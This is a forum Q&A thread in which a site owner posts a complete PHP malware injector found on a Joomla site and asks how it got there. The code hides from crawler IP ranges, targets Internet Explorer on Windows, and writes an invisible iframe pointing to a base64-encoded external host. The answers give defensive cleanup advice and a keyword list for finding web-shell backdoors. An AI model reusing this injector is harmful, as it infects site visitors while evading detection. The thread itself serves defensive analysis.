Found some malicious Javascript - how did it get there?

Question

Found some malicious javascript on a Joomla site which we noticed has returned after being deleted a week ago. Also noticed that www.cssstickyfooter.com is infected by the same code. If you're curious, here it is in whole below.

    function net_match ( $network , $ip ) {
    $ip_arr = explode ( '/' , $network );
    $network_long = ip2long ( $ip_arr [ 0 ]);
    $x = ip2long ( $ip_arr [ 1 ]);
    $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
    $ip_long = ip2long ( $ip );
    return ( $ip_long & $mask ) == ( $network_long & $mask );
    }

    function net()
    {
    $ip=$_SERVER['REMOTE_ADDR'];

    if(
    net_match('64.233.160.0/19',$ip)==0 &&
    net_match('66.102.0.0/20',$ip)==0 &&
    net_match('66.249.64.0/19',$ip)==0 &&
    net_match('72.14.192.0/18',$ip)==0 &&
    net_match('74.125.0.0/16',$ip)==0 &&
    net_match('89.207.224.0/24',$ip)==0 &&
    net_match('193.142.125.0/24',$ip)==0 &&
    net_match('194.110.194.0/24',$ip)==0 &&
    net_match('209.85.128.0/17',$ip)==0 &&
    net_match('216.239.32.0/19',$ip)==0 &&
    net_match('128.111.0.0/16',$ip)==0 &&
    net_match('67.217.0.0/16',$ip)==0 &&
    net_match('188.93.0.0/16',$ip)==0
    )
    return true;
    }

    function detect_os() {
    global $os;
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    if(strpos($user_agent, "Windows") !== false) $os = 'windows';
    }detect_os();


    function detect_brows() {
    global $OOOOO0000, $OOOOOO000;
    $user_agent = $_SERVER["HTTP_USER_AGENT"];
    if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
    ) $OOOOOO000 = "MSIE";
    }detect_brows();

    $IP = $_SERVER['REMOTE_ADDR'].".log";

    function _log()
    { global $IP;
    touch ("/tmp/impacto/{$IP}");
    }
    @mkdir('/tmp/impacto');
    function _check()
    {
    global $IP;
    if(!file_exists("/tmp/impacto/{$IP}")) return true;
    }
    $dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuOTguMjkvSG9tZS9pbmRleC5waHA=');
    if(_check())
    {
    if(net())
    {
    if($os)
    {
    if($OOOOOO000 == "MSIE")
    {
    echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>\');';

    _log();

    }}}}

Eyeballing it, it appears to check that the visitor is using IE, and adds an invisible iframe to the page, subjecting the user to all kinds of nasties.

How do you suppose it got there and how can we stop it from being inserted again?

Answer 1

If you have access to the access logs and the ftp logs scan them. In the access logs if you see a long line (scroll all the way to the right, then scroll down) see if that line is returning a non-404 response code. Then see if that line has some of the following:

../../../../ base64_decode

If you have a line in the access log that returns a 200 response and has one of the above strings, then see what file that line is targeting. It could be that is the file the hackers are exploiting to infect your website.

In Joomla based sites, there are many outdated plugins. You can check all of your plugins against the Joomla Vulnerable Extensions list:

http://docs.joomla.org/Vulnerable_Extensions_List

Then, verify that you're also at 1.5.23 if on the 1.5 version. Otherwise, if your site is based on Joomla 1.6, verify that you're on 1.6.3.

If you have the FTP logs, scan them to see what might have been uploaded to your site. There might be backdoor file on your site.

Scan all files for any Perl files (.pl) Scan all .php files for:

passthru system base64_decode edoced_46esab (above reversed) cmd getenv gzinflate stripslashes exec r57 c99 c100 function_exists

These will get you started. If you find these strings in a .php file, you need to closely examine the file to see if has the usual Joomla "stuff" at the top of the file. If not, it may be a backdoor.

So, a likely scenario is this:

1. The site was not updated immediately or there is a vulnerable plugin.
2. Hackers found the site and uploaded a backdoor shell script, or they found a vulnerability in an extension and it allows them to send a string to a component and that string contains code to automatically infect the site.
3. You keep cleaning the code, but it keeps returning

You won't stop this until you find out how the hackers got in originally. Many people say to wipe the site clean of all files and reload. However, if you reload the same vulnerable component/extension/plugin, the hackers will be back.

Answer 2

How it got there:

• The site or server may be vulnerable to an unpatched vulnerability.

How to prevent it from reocurring:

• Patch the webserver and CMS software
• You may be able to contact the abuse@ address listed for the encoded IP referenced in the JS.

It's a bit hard to say more without further details about the environment. I would be cautious as it's possible the host could have been compromised in other ways as well.